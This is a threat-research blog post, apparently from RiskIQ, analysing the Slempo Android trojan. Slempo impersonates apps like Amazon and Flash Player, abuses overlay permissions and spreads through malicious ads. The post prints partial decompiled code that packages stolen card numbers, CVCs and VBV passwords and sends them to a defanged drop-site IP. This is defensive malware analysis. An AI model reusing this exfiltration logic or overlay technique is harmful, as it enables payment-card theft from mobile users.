A Brief Encounter with Slempo

Given the success of previous scareware tactics, mobile devices became the next logical step in the evolution of this cyber threat. Over the past two years, there have been various reports regarding an increase in mobile activity that employs rogue pop-ups that harvest user information. The same panic and impulse decision-making off which perpetrators of traditional scareware feed—along with the rapid adoption of mobile devices—helped create the perfect environment for it to thrive in the mobile space. But due to the way RiskIQ's platform works, we have a unique perspective of not only how these cyber attacks originate, but also how they are evolving and shaping user experiences. From our unique vantage point, RiskIQ has been observing this evolution and mapping out how these nefarious campaigns threaten the integrity of many mobile user experiences.

Conceptually, this activity aligns with scams that were deployed in the past. But notable reports from Malwarebytes, the Polish CERT, and FireEye [1] [2] bring specific campaigns to light that help illustrate how these mobile trojans have evolved, specifically in their ability to collect financial information and valuable credentials. These upgraded trojans also communicate with attacker-controlled infrastructure, known as a command and control servers, in order to receive instructions on where to unload the stolen information. This specified drop site is where the stolen information is warehoused and distributed throughout the criminal ecosystem.

These applications have been compromising Android devices by gaining a range of permissions that include the unauthorized use of text messages and data transmissions and sometimes controlling the user experience by performing the application overlay technique. As described by some researchers, this technique searches for applications that, for example, require a mobile user to authenticate or provide credit card details. Upon detection, the mobile trojan will generate a rogue overlay, impersonating the other application and stealing the user provided information for illicit sale or reuse.

Now let’s take a minute and dive into some of the data within our platform. A quick search for the package name org.slempo.service within our mobile application repository reveals 22 Android apps. These packages appear to be impersonating commonly used applications such as:

  • Adobe Flash Player
  • Adobe Flash Player Updater
  • Amazon
  • Google Play Updater
  • MX Codec Pack

One of the example mobile packages that is attempting to impersonate an Amazon app is shown in the following screenshot from our mobile repository:

Macintosh HD:Users:Jim:Desktop:Screen Shot 2016-01-18 at 1.51.40 PM.png

The mobile application’s metadata reveals some interesting URLs that the application communicates with and the permissions seem a bit excessive. So let’s install it to verify the permissions. The following screenshots were taken to illustrate what a user sees during the application install:

Now that looks suspicious. The application needs the ability to potentially perform a factory reset, directly call phone numbers, and send and receive SMS messages. Additionally, it would like the ability to draw over other apps and apparently this is Amazon’s first major release (version 1.0).

But what about those URLs in the metadata? A quick look at the source code of the application shows instructions to send card data to an IP address used as the drop site which is located in AS50113 (Russia):

public String getLink(){

return "hxxp://185.40.4[.]99:2080/forms/";


...redacted for brevity…

if (!localIterator.hasNext()){

Sender.sendCardData(this, "hxxp://185.40.4[.]99:2080/", localCard, localJSONObject, new AdditionalInformation(this.vbvPass.getText().toString(), this.oldVbvPass));



...redacted for brevity…

public static void sendCardData(Context paramContext, String paramString, Card paramCard, JSONObject paramJSONObject, AdditionalInformation paramAdditionalInformation){



JSONObject localJSONObject1 = new JSONObject();

localJSONObject1.put("type", "card information");

JSONObject localJSONObject2 = new JSONObject();

localJSONObject2.put("number", paramCard.getNumber());

localJSONObject2.put("month", paramCard.getMonth());

localJSONObject2.put("year", paramCard.getYear());

localJSONObject2.put("cvc", paramCard.getCvc());

localJSONObject1.put("card", localJSONObject2);

localJSONObject1.put("billing address", paramJSONObject);

JSONObject localJSONObject3 = new JSONObject();

localJSONObject3.put("vbv password", paramAdditionalInformation.getVbvPass());

localJSONObject3.put("old vbv password", paramAdditionalInformation.getOldVbvPass());

localJSONObject1.put("additional information", localJSONObject3);

sendUserData(paramContext, localJSONObject1);



The following MD5 hashes have been observed by our platform and are stored within our mobile application repository:























The above applications are primarily delivered through drive-by download attacks. Below is an example that was submitted to our platform by a customer scanning their ads for malware. This incident occurred on January 26th and helps illustrate the chain of events that might occur within an ad sequence:

The package in the screenshot titled ‘Update.apk’ is the actual Android application being downloaded. Additionally, the following associated domains and IP addresses were observed in relation to the above campaign:


IP Addresses:

With this new tactic in mind, RiskIQ actively encourages our customers and other mobile users to only download applications from trusted mobile app stores.

Subscribe to Our Newsletter

Subscribe to the RiskIQ newsletter to stay up-to-date on our latest content, headlines, research, events, and more.

Base Editor